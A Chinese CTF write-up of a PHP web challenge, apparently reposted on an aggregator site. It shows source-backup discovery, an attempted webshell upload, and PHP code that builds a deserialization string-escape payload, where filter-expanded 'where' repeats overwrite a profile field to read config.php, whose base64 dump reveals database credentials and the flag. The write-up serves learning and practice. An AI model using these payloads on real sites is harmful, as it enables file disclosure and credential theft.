usernamepassword回显推断
admin123Invalid user name or password
admin'123Invalid user name or password
admin123'Invalid user name or password
a123Invalid user name说明username是admin
admin1Invalid password这很奇怪了
admin0200
admin1=1Invalid user name or password
admin1=0Invalid user name or password

如果说出现Invalid user name or password是因为有过滤符号,但是为什么password等于1、123的结果不同呢?为什么password=0的时候回显200?不是普通的布尔盲注,感觉得拿到源码才知道其中逻辑。

利用bp扫描备份文件发现所有不存在的路径都会重定向到Index.php,但是从长度可以看到www.zip文件是存在的。拿到了源代码。

发现有login、register、update、profile功能,发现profile存在可利用输出:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));
?><img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label>

有unserialize()但是class.php中没有可利用的魔术方法。可以考虑$username二次注入和$photo文件读取或者代码注入。

public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function filter($string) {$escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);//将单引号和反斜杠(因为字符串和正则表达式二次转义)过滤$safe = array('select', 'insert', 'update', 'delete', 'where');$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);//select被过滤,sql注入基本用不了}

update.php:

<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First');	}if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {
?>

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

对上传的图片没有严格过滤,可能存在文件上传漏洞。

上传一句话木马shell.php,然后文件位置为:upload/25a452927110e39a345a2511c57647f2

由于文件名被编码,访问该路径服务器无法将其当作php代码执行。

由于select被过滤sql注入用不了,对$photo文件名进行了md5编码没法进行文件上传和文件读取,对$photo文件内容进行base64编码,也没法进行代码注入。看一下答案吧。

php反序列化中的字符逃逸。原因在于update.php将所有上传内容进行序列化,然后在插入数据库前进行了字符替换,会改变序列字符串长度。并且对nickname的长度过滤使用的是strlen($_POST['nickname']) > 10,能通过传数组绕过。

如何进行字符逃逸呢?

首先我们的目标是利用$photo的文件名和file_get_contents()读取config.php文件,但是文件名进行了md5编码,所以需要利用字符逃逸构造$profile['photo']=config.php。

可以利用'where'替换为'Hacker'增加一个长度。从而在nickname中构造photo。

<?php
$profile = [];
echo "目标序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替换前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";s:5:"photo";s:10:"config.php";}结尾,并且让他们逃逸出去
$end = '";s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //33
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "构造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替换后的序列:\n";
echo $res."\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
echo $profile['nicname']."\n";

这是我构造playload的思路,先从目标序列、替换前的序列入手,再构造序列,最后验证结果是否与目标序列一样。

但是测试发现并不可以,update成功但是profile显示所有信息都为空,这说明反序列化可能出了问题。

突然想到,我们上传的时候nicname传的是数组,会不会数组的序列字符串有特殊的地方?

修改一下类型然后重新生成目标序列:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}

果然,如果nickname是数组的话,有特殊格式。因此在字符逃逸的时候需要";}来闭合nicname。而不仅仅是"; 。重新构造playload:

<?php
$profile = [];
echo "目标序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'hacker...';
$profile['photo'] = 'config.php';
echo serialize($profile)."\n";echo "替换前的序列:\n";
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = 'where...';
$profile['photo'] = 'upload/' . md5('1.jpg');
echo serialize($profile)."\n";// nickname需要以";}s:5:"photo";s:10:"config.php";}结尾,并且让他们逃逸出去
$end = '";}s:5:"photo";s:10:"config.php";}';
$num = strlen($end); //34
$bengin = str_repeat('where', $num); 
$profile['phone'] = '12345678901';
$profile['email'] = 'zzz999999@qq.com';
$profile['nicname'] = [];
$profile['nicname'][] = $bengin.$end;
$profile['photo'] = 'upload/' . md5('1.jpg');
echo "构造的序列:\n";
echo $string = serialize($profile)."\n";$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
$res = preg_replace($safe, 'hacker', $string);
echo "替换后的序列:\n";
echo $res."\n";
echo "验证正确性:\n";
var_dump (unserialize($res))."\n";
echo "playload:\n";
var_dump($profile['nicname']);

输出是:

目标序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:9:"hacker...";}s:5:"photo";s:10:"config.php";}
替换前的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:8:"where...";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
构造的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
替换后的序列:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:16:"zzz999999@qq.com";s:7:"nicname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {["phone"]=>string(11) "12345678901"["email"]=>string(16) "zzz999999@qq.com"["nicname"]=>array(1) {[0]=>string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"}["photo"]=>string(10) "config.php"
}
playload:
array(1) {[0]=>string(204) "wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}"
}

设置对update.php请求参数如上。然后访问profile.php。

由于这边图片是config.php的base64编码,所以无法解析成图片。但是我们可以通过查看源码看到

<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2Y1YTNiNGVmLTQyNDQtNDcyOC04MTM0LWY5YmYzY2Y3NWNhY30nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Hi Array</h3>

解码之后就能得到flag啦!

总结一下:感觉这道题目很棒,非常接近真实场景。代码审计的时候要考虑很多种可能。唯一可惜的是没有想到php反序列化字符逃逸。另外补充了一个知识,strlen()过滤可以通过传入数组绕过。踩过的一个坑,php序列字符串中数组类型的数据是有大括号包裹的,因此逃逸的时候要注意闭合。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92526.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92526.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/92526.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

人工智能系列(7)人工神经网络中的无监督学习

一. 无监督学习简介神经网络的一个关键属性是能够从环境中学习&#xff0c;并在不断学习的过程中持续改善性能。在无监督学习&#xff08;又称自组织学习&#xff0c;self-organized learning&#xff09;中&#xff0c;网络无需外部教师提供目标输出&#xff0c;而是通过对输入…

250810-OpenWebUI集成Dify应用

A. 最终效果 B. 环境配置 配置并启动Open-WebUI 随后浏览器访问&#xff1a;http://localhost:8080 pip install open-webui open-webui serve配置并启动Pipelines Pipelines默认占用80端口相比于Docker的启动方式&#xff0c;可以在相同的命令行中&#xff0c;查看pipelines …

day22|学习前端ts语言

抽象类&#xff0c;继承。不能创造实例class类&#xff1a;属性声明&#xff0c;构造器&#xff0c;方法&#xff0c;实例继承super&#xff08;&#xff09;override重写父类继承的方法声明提升&#xff08;hoisting&#xff09;同一个js作用域内部&#xff0c;编译阶段把函数…

【网络安全】CTF——[网鼎杯2018]Unfinish-SQL注入-二次注入

目录 一、前言 二、环境 三、复现 3.1寻找注入点 3.2尝试盲注 3.3正则限制 3.4脚本注入获取flag 四、总结 一、前言 前两天复现了一道CTF题目[网鼎杯 2018]Comment&#xff0c;今天继续来学习一下SQL二次注入。 二、环境 BUUCTF在线评测 三、…

【langchain】如何给langchain提issue和提pull request?

什么是issue? 可以这么理解&#xff0c;bug是issue的子集。issue可以包含bug\feature\sercurity and others. https://github.com/langchain-ai/langchain/issues/32484 什么是pull request? 其实我真不是很理解&#xff0c;但不妨我来提pr https://github.com/langchain-ai/…

MySQL的存储引擎:

目录 InooDB引擎&#xff1a; MyISAM引擎&#xff1a; InooDB引擎与MyISAM存储引擎的区别&#xff1a; Archive引擎&#xff1a; Blackhole引擎&#xff1a; CSV引擎&#xff1a; Memory引擎&#xff1a; Federated引擎&#xff1a; Merge引擎&#xff1a; NDB引擎&a…

Mock与Stub

一、核心概念与差异对比特性MockStub核心目的验证对象间的交互行为提供预定义的固定响应验证重点方法调用次数、参数、顺序不关注调用过程&#xff0c;只关注结果行为模拟可编程的智能模拟静态的简单响应适用场景验证协作关系隔离依赖、提供固定数据复杂性较高&#xff08;需要…

香港服务器容器网络插件的多节点通信性能基准测试

香港服务器容器网络插件的多节点通信性能基准测试在云计算和容器化技术快速发展的今天&#xff0c;香港服务器因其优越的地理位置和网络环境&#xff0c;成为众多企业部署容器服务的首选。本文将深入探讨香港服务器环境下容器网络插件的多节点通信性能&#xff0c;通过详实的基…

Vue3 学习教程,从入门到精通,Vue 3 全局 API 语法知识点及案例详解(32)

Vue 3 全局 API 语法知识点及案例详解 Vue 3 提供了丰富的全局 API&#xff0c;用于创建应用实例、注册全局组件、指令、插件等。以下将详细介绍 Vue 3 的主要全局 API&#xff0c;并结合详细的案例代码进行说明。每个案例代码都包含中文注释&#xff0c;帮助初学者更好地理解…

UE5多人MOBA+GAS 41、制作一个飞弹,添加准心索敌

文章目录添加新角色&#xff08;不写了&#xff09;创建一个发射技能创建一个飞弹类添加击中特效添加准星UI获取瞄准目标添加新角色&#xff08;不写了&#xff09; 将原本的机器人蓝图改为BP_PlayerCharacter&#xff0c;以此创建子蓝图 创建动画蓝图模板&#xff08;具体就…

解决渲染抖动与滚动锚点定位不准确问题的方法与经验分享

场景描述&#xff1a;React 虚拟列表&#xff08;Virtualized List&#xff09;是当我们在处理大列表时&#xff0c;为了提升性能而采用的一种技术。然而在实现过程中&#xff0c;可能会遇到渲染抖动问题以及滚动锚点定位不准确的问题。  解决方案&#xff1a;React虚拟列表实…

OpenAI 时隔多年再开源!GPT-OSS 120B/20B 发布,支持本地部署,消费级 GPU 即可运行

OpenAI 近期做出了一项令人瞩目的战略转变&#xff1a;宣布推出两款开放权重&#xff08;Open Weight&#xff09; 语言模型 GPT-OSS-120B 和 GPT-OSS-20B。这不仅是其自 GPT-2 之后首次开源模型&#xff0c;更关键的是&#xff0c;这两款模型特别针对消费级硬件进行了深度优化…

MySQL高可用方案之MySQL Group Replication高可用架构搭建完全指南

MySQL Group Replication高可用架构搭建完全指南 前言 在当今互联网应用中,数据库高可用性已成为系统设计的核心需求。MySQL作为最流行的开源关系型数据库之一,其高可用解决方案备受关注。MySQL Group Replication是MySQL官方推出的原生高可用解决方案,它基于Paxos协议实现…

网站SSL证书到期如何更换?简单完整操作指南

----------------------------------------------------------------------------------------------- 这是我在我的网站中截取的文章&#xff0c;有更多的文章欢迎来访问我自己的博客网站rn.berlinlian.cn&#xff0c;这里还有很多有关计算机的知识&#xff0c;欢迎进行留言或…

Spring Boot 开发三板斧:POM 依赖、注解与配置管理

引言 Spring Boot 是一个功能强大且广受欢迎的框架&#xff0c;用于快速构建基于 Spring 的应用。它通过简化配置和自动化管理&#xff0c;帮助开发者专注于业务逻辑的实现。然而&#xff0c;要想高效地开发 Spring Boot 应用&#xff0c;掌握以下三个关键点至关重要&#xff1…

kubernetes安装搭建

个人博客站—运维鹿:http://www.kervin24.top/ CSDN博客—做个超努力的小奚&#xff1a; https://blog.csdn.net/qq_52914969?typeblog 一、kubernetes介绍 Kubernetes本质是一组服务器集群&#xff0c;它可以在集群的每个节点上运行特定的程序&#xff0c;来对节点中的容…

MySQL高可用方案之MySQL InnoDB Cluster高可用架构实战指南:从零搭建到生产部署

MySQL InnoDB Cluster高可用架构实战指南:从零搭建到生产部署 一、引言:为什么选择MySQL InnoDB Cluster 在当今数据驱动的商业环境中,数据库高可用性已成为企业IT基础设施的核心需求。MySQL作为全球最受欢迎的开源关系型数据库,其高可用解决方案备受关注。而MySQL InnoD…

祝融号无线电工作频段

前面深入查证了旅行者1号的无线电工作频段&#xff1a; 旅行者1号无线电工作频段-CSDN博客 下面尝试查证我国祝融号无线电工作频段。 一、百度百科 来自百度百科&#xff1a; 我注意到一条关键信息&#xff1a; 这说明祝融号在国际上是有合作的&#xff0c;而不是我们国家单…

Kafka生产者相关原理

前言前面已经介绍了Kafka的架构知识并引出了Kafka的相关专业名称进行解释这次分享一下Kafka对生产者发送消息进行处理的运行机制和原理生产者发送消息两种方式同步发送消息程序中线程执行完消息发送操作之后会等待Kafka的消息回应ack默认等待30秒没有回应就会抛出异常等待时间和…

Python 获取对象信息的所有方法

在 Python 里&#xff0c;我们经常需要检查一个对象的类型、属性、方法&#xff0c;甚至它的源码。这对调试、学习和动态编程特别有用。今天我们就来聊聊获取对象信息的常见方法&#xff0c;按由浅入深的顺序来学习。 参考文章&#xff1a;Python 获取对象信息 | 简单一点学习…